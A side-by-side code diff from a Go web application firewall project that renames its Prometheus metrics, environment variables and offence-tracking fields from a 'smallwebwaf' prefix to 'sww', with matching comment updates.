ASN string ASN string
+7 -7
View File
@@ -25,7 +25,7 @@ type busiest struct {
requests *prometheus.CounterVec requests *prometheus.CounterVec
requestBytes *prometheus.CounterVec requestBytes *prometheus.CounterVec
responseBytes *prometheus.CounterVec responseBytes *prometheus.CounterVec
// refused are, by country, the requests the country lists refused; nil // refused are, by country, the requests the country list refused; nil
// by AS number. // by AS number.
refused *prometheus.CounterVec refused *prometheus.CounterVec
@@ -41,8 +41,8 @@ type busiest struct {
// for the topN busiest countries. // for the topN busiest countries.
func newCountries(topN int) *busiest { func newCountries(topN int) *busiest {
countries := newBusiest(topN, "country", "the client's country") countries := newBusiest(topN, "country", "the client's country")
countries.refused = counterVec("smallwebwaf_country_list_refusals_total", countries.refused = counterVec("sww_country_list_refusals_total",
"Requests the country lists refused, by the client's country.", "Requests SWW_EXCLUSIVELY_ALLOWED_COUNTRIES refused, by the client's country.",
[]string{"country"}) []string{"country"})
return countries return countries
@@ -61,11 +61,11 @@ func newBusiest(topN int, label, description string) *busiest {
return &busiest{ return &busiest{
topN: topN, topN: topN,
requests: counterVec("smallwebwaf_"+label+"_requests_total", requests: counterVec("sww_"+label+"_requests_total",
"Requests, by "+description+".", by), "Requests, by "+description+".", by),
requestBytes: counterVec("smallwebwaf_"+label+"_request_bytes_total", requestBytes: counterVec("sww_"+label+"_request_bytes_total",
"Request body bytes, by "+description+".", by), "Request body bytes, by "+description+".", by),
responseBytes: counterVec("smallwebwaf_"+label+"_response_bytes_total", responseBytes: counterVec("sww_"+label+"_response_bytes_total",
"Response body bytes, by "+description+".", by), "Response body bytes, by "+description+".", by),
seen: map[string]int64{}, seen: map[string]int64{},
top: map[string]bool{}, top: map[string]bool{},
@@ -88,7 +88,7 @@ func (b *busiest) Collect(ch chan<- prometheus.Metric) {
} }
// vecs returns the metrics: by AS number, those of requests and bytes; by // vecs returns the metrics: by AS number, those of requests and bytes; by
// country, the refusals by the country lists as well. // country, the refusals by the country list as well.
func (b *busiest) vecs() []*prometheus.CounterVec { func (b *busiest) vecs() []*prometheus.CounterVec {
vecs := []*prometheus.CounterVec{b.requests, b.requestBytes, b.responseBytes} vecs := []*prometheus.CounterVec{b.requests, b.requestBytes, b.responseBytes}
if b.refused != nil { if b.refused != nil {
+65 -65
View File
@@ -1,4 +1,4 @@
// Package metrics keeps smallwebwaf's Prometheus metrics, as // Package metrics keeps sww's Prometheus metrics, as
// docs/metrics.md lists them, and serves them in the Prometheus text // docs/metrics.md lists them, and serves them in the Prometheus text
// format, as the "Metrics endpoint" section of SPEC.md requires. No // format, as the "Metrics endpoint" section of SPEC.md requires. No
// metric carries a client's address. // metric carries a client's address.
@@ -22,7 +22,7 @@ import (
"sneak.berlin/go/smallwebwaf/internal/rules" "sneak.berlin/go/smallwebwaf/internal/rules"
) )
// Metrics are smallwebwaf's metrics. They are safe for concurrent use. // Metrics are sww's metrics. They are safe for concurrent use.
type Metrics struct { type Metrics struct {
// registry gives every metric registered with it the label instance. // registry gives every metric registered with it the label instance.
registry prometheus.Registerer registry prometheus.Registerer
@@ -36,7 +36,7 @@ type Metrics struct {
upstreamDuration prometheus.Histogram upstreamDuration prometheus.Histogram
rateLimitHits *prometheus.CounterVec rateLimitHits *prometheus.CounterVec
offences *prometheus.CounterVec offences *prometheus.CounterVec
wafMatches *prometheus.CounterVec coreRuleSetMatches *prometheus.CounterVec
// ruleMatches are made by AddRules, and reputationHits by // ruleMatches are made by AddRules, and reputationHits by
// AddReputation. // AddReputation.
ruleMatches *prometheus.CounterVec ruleMatches *prometheus.CounterVec
@@ -45,12 +45,12 @@ type Metrics struct {
asns *busiest asns *busiest
// GeoJSRequests are the requests to GeoJS, and GeoJSFailures those // GeoJSRequests are the requests to GeoJS, and GeoJSFailures those
// that failed. GeoJSUnanswered are the requests that needed their // that failed. RequestsWithoutGeoJSAnswer are the requests that needed
// client's answer, for a setting that acts on it, and went on without // their client's answer, for a setting that acts on it, and went on
// it because GeoJS had not given it in time. // without it because GeoJS had not given it in time.
GeoJSRequests prometheus.Counter GeoJSRequests prometheus.Counter
GeoJSFailures prometheus.Counter GeoJSFailures prometheus.Counter
GeoJSUnanswered prometheus.Counter RequestsWithoutGeoJSAnswer prometheus.Counter
stateFileWrites *prometheus.CounterVec stateFileWrites *prometheus.CounterVec
stateFileWriteFailures *prometheus.CounterVec stateFileWriteFailures *prometheus.CounterVec
@@ -62,8 +62,8 @@ type Metrics struct {
// New returns the metrics, with the Go runtime's and the process's own. // New returns the metrics, with the Go runtime's and the process's own.
// topN is how many countries and how many AS numbers get series of their // topN is how many countries and how many AS numbers get series of their
// own (SWWAF_METRICS_TOP_N). Every metric carries instanceName // own (SWW_METRICS_TOP_N). Every metric carries instanceName
// (SWWAF_INSTANCE_NAME) as its label instance. // (SWW_INSTANCE_NAME) as its label instance.
// //
//nolint:funlen // a few lines for each metric, a list that grows with them //nolint:funlen // a few lines for each metric, a list that grows with them
func New(topN int, instanceName string) *Metrics { func New(topN int, instanceName string) *Metrics {
@@ -76,60 +76,60 @@ func New(topN int, instanceName string) *Metrics {
prometheus.Labels{"instance": instanceName}, registry), prometheus.Labels{"instance": instanceName}, registry),
handler: promhttp.HandlerFor(registry, promhttp.HandlerOpts{}), handler: promhttp.HandlerFor(registry, promhttp.HandlerOpts{}),
inFlight: prometheus.NewGauge(prometheus.GaugeOpts{ inFlight: prometheus.NewGauge(prometheus.GaugeOpts{
Name: "smallwebwaf_requests_in_flight", Name: "sww_requests_in_flight",
Help: "Requests under way.", Help: "Requests under way.",
}), }),
requests: counterVec("smallwebwaf_requests_total", requests: counterVec("sww_requests_total",
"Requests, by the class of their status and their action.", byStatus), "Requests, by the class of their status and their action.", byStatus),
requestBytes: counterVec("smallwebwaf_request_bytes_total", requestBytes: counterVec("sww_request_bytes_total",
"Request body bytes, by the class of the status and the action.", "Request body bytes, by the class of the status and the action.",
byStatus), byStatus),
responseBytes: counterVec("smallwebwaf_response_bytes_total", responseBytes: counterVec("sww_response_bytes_total",
"Response body bytes, by the class of the status and the action.", "Response body bytes, by the class of the status and the action.",
byStatus), byStatus),
requestDuration: prometheus.NewHistogram(prometheus.HistogramOpts{ requestDuration: prometheus.NewHistogram(prometheus.HistogramOpts{
Name: "smallwebwaf_request_duration_seconds", Name: "sww_request_duration_seconds",
Help: "How long requests took, from their arrival to their end.", Help: "How long requests took, from their arrival to their end.",
}), }),
upstreamDuration: prometheus.NewHistogram(prometheus.HistogramOpts{ upstreamDuration: prometheus.NewHistogram(prometheus.HistogramOpts{
Name: "smallwebwaf_upstream_duration_seconds", Name: "sww_upstream_duration_seconds",
Help: "How long requests passed to the app took, from then to their end.", Help: "How long requests passed to the app took, from then to their end.",
}), }),
rateLimitHits: counterVec("smallwebwaf_rate_limit_hits_total", rateLimitHits: counterVec("sww_rate_limit_hits_total",
"Requests that broke a rate limit, a byte limit or the error burst, by "+ "Requests that broke a rate limit, a byte limit or the error burst, by "+
"its window and its kind, requests, bytes or refusals.", "its window and its kind, requests, bytes or refusals.",
[]string{"window", "kind"}), []string{"window", "kind"}),
offences: counterVec("smallwebwaf_offences_total", offences: counterVec("sww_offences_total",
"Offences, by kind.", []string{"kind"}), "Offences, by kind.", []string{"kind"}),
wafMatches: counterVec("smallwebwaf_waf_matches_total", coreRuleSetMatches: counterVec("sww_core_rule_set_matches_total",
"Requests that matched a rule of the Core Rule Set, by SWWAF_WAF_MODE "+ "Requests that matched a rule of the Core Rule Set, by SWW_WAF_MODE "+
"and the rule's id.", []string{"mode", "rule_id"}), "and the rule's id.", []string{"mode", "rule_id"}),
countries: newCountries(topN), countries: newCountries(topN),
asns: newASNs(topN), asns: newASNs(topN),
GeoJSRequests: prometheus.NewCounter(prometheus.CounterOpts{ GeoJSRequests: prometheus.NewCounter(prometheus.CounterOpts{
Name: "smallwebwaf_geojs_requests_total", Name: "sww_geojs_requests_total",
Help: "Requests to GeoJS.", Help: "Requests to GeoJS.",
}), }),
GeoJSFailures: prometheus.NewCounter(prometheus.CounterOpts{ GeoJSFailures: prometheus.NewCounter(prometheus.CounterOpts{
Name: "smallwebwaf_geojs_failures_total", Name: "sww_geojs_failures_total",
Help: "Requests to GeoJS that failed.", Help: "Requests to GeoJS that failed.",
}), }),
GeoJSUnanswered: prometheus.NewCounter(prometheus.CounterOpts{ RequestsWithoutGeoJSAnswer: prometheus.NewCounter(prometheus.CounterOpts{
Name: "smallwebwaf_geojs_unanswered_total", Name: "sww_requests_without_geojs_answer_total",
Help: "Requests that needed their client's answer from GeoJS and " + Help: "Requests that needed their client's answer from GeoJS and " +
"went on without it, because GeoJS had not given it in time.", "went on without it, because GeoJS had not given it in time.",
}), }),
stateFileWrites: counterVec("smallwebwaf_state_file_writes_total", stateFileWrites: counterVec("sww_state_file_writes_total",
"Writes of each state file.", byFile), "Writes of each state file.", byFile),
stateFileWriteFailures: counterVec("smallwebwaf_state_file_write_failures_total", stateFileWriteFailures: counterVec("sww_state_file_write_failures_total",
"Writes of each state file that failed.", byFile), "Writes of each state file that failed.", byFile),
stateFileLastWrite: gaugeVec("smallwebwaf_state_file_last_write_timestamp_seconds", stateFileLastWrite: gaugeVec("sww_state_file_last_write_timestamp_seconds",
"When each state file was last written, in seconds since 1970.", byFile), "When each state file was last written, in seconds since 1970.", byFile),
stateFileSize: gaugeVec("smallwebwaf_state_file_size_bytes", stateFileSize: gaugeVec("sww_state_file_size_bytes",
"The size of each state file, as it was last written.", byFile), "The size of each state file, as it was last written.", byFile),
stateFileEditsTakenIn: counterVec("smallwebwaf_state_file_edits_taken_in_total", stateFileEditsTakenIn: counterVec("sww_state_file_edits_taken_in_total",
"Edits of each state file taken in while running.", byFile), "Edits of each state file taken in while running.", byFile),
stateFileEditsSetAside: counterVec("smallwebwaf_state_file_edits_set_aside_total", stateFileEditsSetAside: counterVec("sww_state_file_edits_set_aside_total",
"Edits of each state file renamed to <name>.bad because they did not parse.", "Edits of each state file renamed to <name>.bad because they did not parse.",
byFile), byFile),
} }
@@ -139,9 +139,9 @@ func New(topN int, instanceName string) *Metrics {
collectors.NewProcessCollector(collectors.ProcessCollectorOpts{}), collectors.NewProcessCollector(collectors.ProcessCollectorOpts{}),
m.inFlight, m.requests, m.requestBytes, m.responseBytes, m.inFlight, m.requests, m.requestBytes, m.responseBytes,
m.requestDuration, m.upstreamDuration, m.requestDuration, m.upstreamDuration,
m.rateLimitHits, m.offences, m.wafMatches, m.rateLimitHits, m.offences, m.coreRuleSetMatches,
m.countries, m.asns, m.countries, m.asns,
m.GeoJSRequests, m.GeoJSFailures, m.GeoJSUnanswered, m.GeoJSRequests, m.GeoJSFailures, m.RequestsWithoutGeoJSAnswer,
m.stateFileWrites, m.stateFileWriteFailures, m.stateFileWrites, m.stateFileWriteFailures,
m.stateFileLastWrite, m.stateFileSize, m.stateFileLastWrite, m.stateFileSize,
m.stateFileEditsTakenIn, m.stateFileEditsSetAside, m.stateFileEditsTakenIn, m.stateFileEditsSetAside,
@@ -161,7 +161,7 @@ func (m *Metrics) AddBansAndClients(
bans.CauseLimit, bans.CauseAttack, bans.CauseAdmin, bans.CauseCrowdSec, bans.CauseLimit, bans.CauseAttack, bans.CauseAdmin, bans.CauseCrowdSec,
} { } {
m.registry.MustRegister(prometheus.NewCounterFunc(prometheus.CounterOpts{ m.registry.MustRegister(prometheus.NewCounterFunc(prometheus.CounterOpts{
Name: "smallwebwaf_bans_made_total", Name: "sww_bans_made_total",
Help: "Bans made, by cause.", Help: "Bans made, by cause.",
ConstLabels: prometheus.Labels{"cause": cause}, ConstLabels: prometheus.Labels{"cause": cause},
}, func() float64 { }, func() float64 {
@@ -171,7 +171,7 @@ func (m *Metrics) AddBansAndClients(
m.registry.MustRegister( m.registry.MustRegister(
prometheus.NewGaugeFunc(prometheus.GaugeOpts{ prometheus.NewGaugeFunc(prometheus.GaugeOpts{
Name: "smallwebwaf_active_bans", Name: "sww_active_bans",
Help: "Bans active now, the permanent ones included.", Help: "Bans active now, the permanent ones included.",
}, func() float64 { }, func() float64 {
active, _ := ledger.Count(now()) active, _ := ledger.Count(now())
@@ -179,7 +179,7 @@ func (m *Metrics) AddBansAndClients(
return float64(active) return float64(active)
}), }),
prometheus.NewGaugeFunc(prometheus.GaugeOpts{ prometheus.NewGaugeFunc(prometheus.GaugeOpts{
Name: "smallwebwaf_permanent_bans", Name: "sww_permanent_bans",
Help: "Permanent bans not lifted.", Help: "Permanent bans not lifted.",
}, func() float64 { }, func() float64 {
_, permanent := ledger.Count(now()) _, permanent := ledger.Count(now())
@@ -187,7 +187,7 @@ func (m *Metrics) AddBansAndClients(
return float64(permanent) return float64(permanent)
}), }),
prometheus.NewGaugeFunc(prometheus.GaugeOpts{ prometheus.NewGaugeFunc(prometheus.GaugeOpts{
Name: "smallwebwaf_tracked_clients", Name: "sww_tracked_clients",
Help: "Clients in the table of clients.", Help: "Clients in the table of clients.",
}, func() float64 { }, func() float64 {
return float64(limiter.Len()) return float64(limiter.Len())
@@ -200,13 +200,13 @@ func (m *Metrics) AddBansAndClients(
// ruleFiles, read as the metrics are asked for. It is called once, before // ruleFiles, read as the metrics are asked for. It is called once, before
// RuleMatched. // RuleMatched.
func (m *Metrics) AddRules(ruleFiles *rules.Files) { func (m *Metrics) AddRules(ruleFiles *rules.Files) {
m.ruleMatches = counterVec("smallwebwaf_rule_matches_total", m.ruleMatches = counterVec("sww_rule_matches_total",
"Requests that matched a rule of the rule files, by its id and action.", "Requests that matched a rule of the rule files, by its id and action.",
[]string{"rule_id", "action"}) []string{"rule_id", "action"})
m.registry.MustRegister(m.ruleMatches, m.registry.MustRegister(m.ruleMatches,
prometheus.NewGaugeFunc(prometheus.GaugeOpts{ prometheus.NewGaugeFunc(prometheus.GaugeOpts{
Name: "smallwebwaf_rules_loaded", Name: "sww_rules_loaded",
Help: "Rules loaded from the rule files.", Help: "Rules loaded from the rule files.",
}, func() float64 { }, func() float64 {
return float64(ruleFiles.Len()) return float64(ruleFiles.Len())
@@ -214,25 +214,25 @@ func (m *Metrics) AddRules(ruleFiles *rules.Files) {
} }
// AddRemoteLog adds the metrics of sending the log lines to // AddRemoteLog adds the metrics of sending the log lines to
// SWWAF_LOG_REMOTE_URL, read from remote as the metrics are asked for: the // SWW_LOG_REMOTE_URL, read from remote as the metrics are asked for: the
// lines sent, those dropped, and those waiting in the buffer. // lines sent, those dropped, and those waiting in the buffer.
func (m *Metrics) AddRemoteLog(remote *remotelog.Sender) { func (m *Metrics) AddRemoteLog(remote *remotelog.Sender) {
m.registry.MustRegister( m.registry.MustRegister(
prometheus.NewCounterFunc(prometheus.CounterOpts{ prometheus.NewCounterFunc(prometheus.CounterOpts{
Name: "smallwebwaf_remote_log_lines_sent_total", Name: "sww_remote_log_lines_sent_total",
Help: "Log lines sent to SWWAF_LOG_REMOTE_URL.", Help: "Log lines sent to SWW_LOG_REMOTE_URL.",
}, func() float64 { }, func() float64 {
return float64(remote.Sent()) return float64(remote.Sent())
}), }),
prometheus.NewCounterFunc(prometheus.CounterOpts{ prometheus.NewCounterFunc(prometheus.CounterOpts{
Name: "smallwebwaf_remote_log_lines_dropped_total", Name: "sww_remote_log_lines_dropped_total",
Help: "Log lines dropped: the oldest in a full buffer, and those " + Help: "Log lines dropped: the oldest in a full buffer, and those " +
"whose sending failed.", "whose sending failed.",
}, func() float64 { }, func() float64 {
return float64(remote.Dropped()) return float64(remote.Dropped())
}), }),
prometheus.NewGaugeFunc(prometheus.GaugeOpts{ prometheus.NewGaugeFunc(prometheus.GaugeOpts{
Name: "smallwebwaf_remote_log_buffer_depth", Name: "sww_remote_log_lines_waiting",
Help: "Log lines in the buffer, waiting to be sent.", Help: "Log lines in the buffer, waiting to be sent.",
}, func() float64 { }, func() float64 {
return float64(remote.Depth()) return float64(remote.Depth())
@@ -248,13 +248,13 @@ func (m *Metrics) AddRemoteLog(remote *remotelog.Sender) {
func (m *Metrics) AddLookupFile(lastRead func() time.Time, readFailures func() int) { func (m *Metrics) AddLookupFile(lastRead func() time.Time, readFailures func() int) {
m.registry.MustRegister( m.registry.MustRegister(
prometheus.NewGaugeFunc(prometheus.GaugeOpts{ prometheus.NewGaugeFunc(prometheus.GaugeOpts{
Name: "smallwebwaf_lookup_database_last_read_timestamp_seconds", Name: "sww_lookup_database_last_read_timestamp_seconds",
Help: "When the lookup database in use was read, in seconds since 1970.", Help: "When the lookup database in use was read, in seconds since 1970.",
}, func() float64 { }, func() float64 {
return float64(lastRead().Unix()) return float64(lastRead().Unix())
}), }),
prometheus.NewCounterFunc(prometheus.CounterOpts{ prometheus.NewCounterFunc(prometheus.CounterOpts{
Name: "smallwebwaf_lookup_database_read_failures_total", Name: "sww_lookup_database_read_failures_total",
Help: "Replacements of the lookup database that could not be read.", Help: "Replacements of the lookup database that could not be read.",
}, func() float64 { }, func() float64 {
return float64(readFailures()) return float64(readFailures())
@@ -275,7 +275,7 @@ const sourceLabel = "source"
// copy in use was fetched, and for a zone, the queries made and those that // copy in use was fetched, and for a zone, the queries made and those that
// failed. It is called once, before ReputationHit. // failed. It is called once, before ReputationHit.
func (m *Metrics) AddReputation(lists *reputation.Lists, dnsbl *reputation.DNSBL) { func (m *Metrics) AddReputation(lists *reputation.Lists, dnsbl *reputation.DNSBL) {
m.reputationHits = counterVec("smallwebwaf_reputation_hits_total", m.reputationHits = counterVec("sww_reputation_hits_total",
"Requests whose client a blocklist, the CrowdSec decision list, a DNSBL "+ "Requests whose client a blocklist, the CrowdSec decision list, a DNSBL "+
"zone or AbuseIPDB lists, by the list's URL, the zone, or abuseipdb.", "zone or AbuseIPDB lists, by the list's URL, the zone, or abuseipdb.",
[]string{sourceLabel}) []string{sourceLabel})
@@ -294,7 +294,7 @@ func (m *Metrics) AddReputation(lists *reputation.Lists, dnsbl *reputation.DNSBL
m.addReputationFailures(source, func() int { return lists.Failures(listURL) }) m.addReputationFailures(source, func() int { return lists.Failures(listURL) })
m.registry.MustRegister( m.registry.MustRegister(
prometheus.NewGaugeFunc(prometheus.GaugeOpts{ prometheus.NewGaugeFunc(prometheus.GaugeOpts{
Name: "smallwebwaf_reputation_last_fetch_timestamp_seconds", Name: "sww_reputation_last_fetch_timestamp_seconds",
Help: "When the copy of the list in use was fetched, in seconds since " + Help: "When the copy of the list in use was fetched, in seconds since " +
"1970, or 0 while there is none.", "1970, or 0 while there is none.",
ConstLabels: source, ConstLabels: source,
@@ -313,7 +313,7 @@ func (m *Metrics) AddReputation(lists *reputation.Lists, dnsbl *reputation.DNSBL
// AddAbuseIPDB adds the metrics of AbuseIPDB, with the source abuseipdb, // AddAbuseIPDB adds the metrics of AbuseIPDB, with the source abuseipdb,
// read from abuseIPDB as the metrics are asked for: the checks made, those // read from abuseIPDB as the metrics are asked for: the checks made, those
// that failed, and how many checks the day's budget has left. It is // that failed, and how many checks the day's budget has left. It is
// called once, after AddReputation, while SWWAF_ABUSEIPDB_KEY is set. // called once, after AddReputation, while SWW_ABUSEIPDB_KEY is set.
func (m *Metrics) AddAbuseIPDB(abuseIPDB *reputation.AbuseIPDB) { func (m *Metrics) AddAbuseIPDB(abuseIPDB *reputation.AbuseIPDB) {
source := prometheus.Labels{sourceLabel: reputation.AbuseIPDBSource} source := prometheus.Labels{sourceLabel: reputation.AbuseIPDBSource}
@@ -321,8 +321,8 @@ func (m *Metrics) AddAbuseIPDB(abuseIPDB *reputation.AbuseIPDB) {
m.addReputationFailures(source, abuseIPDB.Failures) m.addReputationFailures(source, abuseIPDB.Failures)
m.registry.MustRegister( m.registry.MustRegister(
prometheus.NewGaugeFunc(prometheus.GaugeOpts{ prometheus.NewGaugeFunc(prometheus.GaugeOpts{
Name: "smallwebwaf_reputation_daily_budget_remaining", Name: "sww_reputation_daily_budget_remaining",
Help: "Checks of the day's SWWAF_ABUSEIPDB_DAILY_BUDGET not yet spent.", Help: "Checks of the day's SWW_ABUSEIPDB_DAILY_BUDGET not yet spent.",
ConstLabels: source, ConstLabels: source,
}, func() float64 { }, func() float64 {
return float64(abuseIPDB.BudgetLeft()) return float64(abuseIPDB.BudgetLeft())
@@ -348,29 +348,29 @@ func (m *Metrics) AddAlerts(queue *alerts.Queue) {
m.registry.MustRegister( m.registry.MustRegister(
prometheus.NewCounterFunc(prometheus.CounterOpts{ prometheus.NewCounterFunc(prometheus.CounterOpts{
Name: "smallwebwaf_alerts_sent_total", Name: "sww_alerts_sent_total",
Help: "Alerts the destination took.", Help: "Alerts the destination took.",
ConstLabels: destination, ConstLabels: destination,
}, func() float64 { }, func() float64 {
return float64(queue.Counts(name).Sent) return float64(queue.Counts(name).Sent)
}), }),
prometheus.NewCounterFunc(prometheus.CounterOpts{ prometheus.NewCounterFunc(prometheus.CounterOpts{
Name: "smallwebwaf_alerts_failed_total", Name: "sww_alert_send_failures_total",
Help: "Requests to the destination that failed.", Help: "Requests to the destination that failed.",
ConstLabels: destination, ConstLabels: destination,
}, func() float64 { }, func() float64 {
return float64(queue.Counts(name).Failed) return float64(queue.Counts(name).SendFailures)
}), }),
prometheus.NewCounterFunc(prometheus.CounterOpts{ prometheus.NewCounterFunc(prometheus.CounterOpts{
Name: "smallwebwaf_alerts_suppressed_total", Name: "sww_alerts_suppressed_total",
Help: "Alerts held back: repeats within SWWAF_ALERT_COOLDOWN, and " + Help: "Alerts held back: repeats within SWW_ALERT_COOLDOWN, and " +
"alerts past SWWAF_ALERT_MAX_PER_HOUR, for the hour's summary.", "alerts past SWW_ALERT_MAX_PER_HOUR, for the hour's summary.",
ConstLabels: destination, ConstLabels: destination,
}, func() float64 { }, func() float64 {
return float64(queue.Suppressed()) return float64(queue.Suppressed())
}), }),
prometheus.NewCounterFunc(prometheus.CounterOpts{ prometheus.NewCounterFunc(prometheus.CounterOpts{
Name: "smallwebwaf_alerts_dropped_total", Name: "sww_alerts_dropped_total",
Help: "Alerts dropped, the oldest first, from a full queue, and " + Help: "Alerts dropped, the oldest first, from a full queue, and " +
"alerts given up as the destination refused them.", "alerts given up as the destination refused them.",
ConstLabels: destination, ConstLabels: destination,
@@ -426,8 +426,8 @@ func (m *Metrics) Offences(r ratelimit.Request) {
for kind, committed := range map[string]bool{ for kind, committed := range map[string]bool{
"limit": r.BrokeLimit, "limit": r.BrokeLimit,
"attack": r.Attack, "attack": r.Attack,
"rule_blocked": r.RuleBlocked, "blocked_by_block_rule": r.BlockedByBlockRule,
"waf_blocked": r.WAFBlocked, "blocked_by_core_rule_set": r.BlockedByCoreRuleSet,
} { } {
if committed { if committed {
m.offences.WithLabelValues(kind).Inc() m.offences.WithLabelValues(kind).Inc()
@@ -441,10 +441,10 @@ func (m *Metrics) RuleMatched(id, action string) {
m.ruleMatches.WithLabelValues(id, action).Inc() m.ruleMatches.WithLabelValues(id, action).Inc()
} }
// WAFMatched counts a request that matched the Core Rule Set's rule id, // CoreRuleSetMatched counts a request that matched the Core Rule Set's rule id,
// with SWWAF_WAF_MODE at mode. // with SWW_WAF_MODE at mode.
func (m *Metrics) WAFMatched(mode string, id int) { func (m *Metrics) CoreRuleSetMatched(mode string, id int) {
m.wafMatches.WithLabelValues(mode, strconv.Itoa(id)).Inc() m.coreRuleSetMatches.WithLabelValues(mode, strconv.Itoa(id)).Inc()
} }
// StateFileWritten counts a write of the state file name, of size bytes, // StateFileWritten counts a write of the state file name, of size bytes,
@@ -467,7 +467,7 @@ func (m *Metrics) StateFileWritten(name string, size int, err error) {
} }
// StateFileEditTakenIn counts an admin's edit of the state file name // StateFileEditTakenIn counts an admin's edit of the state file name
// taken in while smallwebwaf runs. // taken in while sww runs.
func (m *Metrics) StateFileEditTakenIn(name string) { func (m *Metrics) StateFileEditTakenIn(name string) {
m.stateFileEditsTakenIn.WithLabelValues(name).Inc() m.stateFileEditsTakenIn.WithLabelValues(name).Inc()
} }
@@ -506,7 +506,7 @@ func (m *Metrics) count(
// zone, or of the checks of clients with AbuseIPDB, which count tells. // zone, or of the checks of clients with AbuseIPDB, which count tells.
func (m *Metrics) addReputationQueries(source prometheus.Labels, count func() int) { func (m *Metrics) addReputationQueries(source prometheus.Labels, count func() int) {
m.registry.MustRegister(prometheus.NewCounterFunc(prometheus.CounterOpts{ m.registry.MustRegister(prometheus.NewCounterFunc(prometheus.CounterOpts{
Name: "smallwebwaf_reputation_queries_total", Name: "sww_reputation_queries_total",
Help: "Queries to the DNSBL zone, or checks of clients with AbuseIPDB.", Help: "Queries to the DNSBL zone, or checks of clients with AbuseIPDB.",
ConstLabels: source, ConstLabels: source,
}, func() float64 { }, func() float64 {
@@ -519,7 +519,7 @@ func (m *Metrics) addReputationQueries(source prometheus.Labels, count func() in
// that failed, which count tells. // that failed, which count tells.
func (m *Metrics) addReputationFailures(source prometheus.Labels, count func() int) { func (m *Metrics) addReputationFailures(source prometheus.Labels, count func() int) {
m.registry.MustRegister(prometheus.NewCounterFunc(prometheus.CounterOpts{ m.registry.MustRegister(prometheus.NewCounterFunc(prometheus.CounterOpts{
Name: "smallwebwaf_reputation_failures_total", Name: "sww_reputation_failures_total",
Help: "Fetches of the list, queries to the DNSBL zone, or checks with " + Help: "Fetches of the list, queries to the DNSBL zone, or checks with " +
"AbuseIPDB, that failed.", "AbuseIPDB, that failed.",
ConstLabels: source, ConstLabels: source,
+1 -1
View File
@@ -23,7 +23,7 @@ func TestHistoryKeepsEveryRequest(t *testing.T) {
{Forwarded: true, Status: 502, ResponseBytes: 12}, {Forwarded: true, Status: 502, ResponseBytes: 12},
// Closed without an answer: refused, and no response. // Closed without an answer: refused, and no response.
{Refused: true, Status: 0}, {Refused: true, Status: 0},
// Answered 404 for a path under /_smallwebwaf/: neither forwarded nor // Answered 404 for a path under /_sww/: neither forwarded nor
// refused. // refused.
{Status: 404}, {Status: 404},
} { } {
+21 -20
View File
@@ -2,7 +2,7 @@
// and bytes counted over a minute, an hour and a day, as the "Counting // and bytes counted over a minute, an hour and a day, as the "Counting
// method" section of SPEC.md describes, which tell when a request takes // method" section of SPEC.md describes, which tell when a request takes
// the client over a rate limit or a byte limit, and each client's history // the client over a rate limit or a byte limit, and each client's history
// since it was first seen. At most SWWAF_MAX_TRACKED_CLIENTS clients are // since it was first seen. At most SWW_MAX_TRACKED_CLIENTS clients are
// kept, in memory, and written to clients.json and read from it by the // kept, in memory, and written to clients.json and read from it by the
// state package. // state package.
package ratelimit package ratelimit
@@ -25,7 +25,7 @@ const (
KindRequests = "requests" KindRequests = "requests"
// KindBytes is a byte limit, on a client's bytes. // KindBytes is a byte limit, on a client's bytes.
KindBytes = "bytes" KindBytes = "bytes"
// KindRefusals is the error burst, on a client's requests smallwebwaf // KindRefusals is the error burst, on a client's requests sww
// refused after a rule file match or for a missing or wrong token. // refused after a rule file match or for a missing or wrong token.
KindRefusals = "refusals" KindRefusals = "refusals"
) )
@@ -92,9 +92,9 @@ type History struct {
ASName string `json:"as_name,omitempty"` ASName string `json:"as_name,omitempty"`
Country string `json:"country,omitempty"` Country string `json:"country,omitempty"`
LookedUp time.Time `json:"looked_up,omitzero"` LookedUp time.Time `json:"looked_up,omitzero"`
// Requests are all the client's requests: Forwarded those servewaf allowed, // Requests are all the client's requests: Forwarded those discriminator allowed,
// Refused those it refused, and neither those for a path under // Refused those it refused, and neither those for a path under
// /_smallwebwaf/. // /_sww/.
Requests int64 `json:"requests"` Requests int64 `json:"requests"`
Forwarded int64 `json:"forwarded"` Forwarded int64 `json:"forwarded"`
Refused int64 `json:"refused"` Refused int64 `json:"refused"`
@@ -122,12 +122,13 @@ type Responses struct {
type Offences struct { type Offences struct {
// Limit is its requests that broke a rate limit, a byte limit or the // Limit is its requests that broke a rate limit, a byte limit or the
// error burst, Attack those that were a clear sign of attack, a match // error burst, Attack those that were a clear sign of attack, a match
// of a ban rule or a request for a trap path, RuleBlocked those a block // of a ban rule or a request for a trap path, BlockedByBlockRule those a
// rule refused, and WAFBlocked those the Core Rule Set refused. // block rule refused, and BlockedByCoreRuleSet those the Core Rule Set
// refused.
Limit int64 `json:"limit"` Limit int64 `json:"limit"`
Attack int64 `json:"attack"` Attack int64 `json:"attack"`
RuleBlocked int64 `json:"rule_blocked"` BlockedByBlockRule int64 `json:"blocked_by_block_rule"`
WAFBlocked int64 `json:"waf_blocked"` BlockedByCoreRuleSet int64 `json:"blocked_by_core_rule_set"`
// TokenRefused is what a clients.json written by an earlier version gives, // TokenRefused is what a clients.json written by an earlier version gives,
// which must still load. Nothing adds to it. // which must still load. Nothing adds to it.
TokenRefused int64 `json:"token_refused,omitempty"` TokenRefused int64 `json:"token_refused,omitempty"`
@@ -135,8 +136,8 @@ type Offences struct {
// Request is what a client's history keeps of one of its requests. // Request is what a client's history keeps of one of its requests.
type Request struct { type Request struct {
// Forwarded is true for a request servewaf allowed, and Refused for one it // Forwarded is true for a request discriminator allowed, and Refused for one it
// refused. Both are false for a request for a path under /_smallwebwaf/. // refused. Both are false for a request for a path under /_sww/.
Forwarded bool Forwarded bool
Refused bool Refused bool
// Status is what the client was sent, 0 if nothing was. // Status is what the client was sent, 0 if nothing was.
@@ -147,16 +148,16 @@ type Request struct {
ResponseBytes int64 ResponseBytes int64
// BrokeLimit is true for a request that broke a rate limit, a byte // BrokeLimit is true for a request that broke a rate limit, a byte
// limit or the error burst, Attack for one that matched a ban rule or // limit or the error burst, Attack for one that matched a ban rule or
// asked for a trap path, RuleBlocked for one a block rule refused, and // asked for a trap path, BlockedByBlockRule for one a block rule refused,
// WAFBlocked for one the Core Rule Set refused. // and BlockedByCoreRuleSet for one the Core Rule Set refused.
BrokeLimit bool BrokeLimit bool
Attack bool Attack bool
RuleBlocked bool BlockedByBlockRule bool
WAFBlocked bool BlockedByCoreRuleSet bool
} }
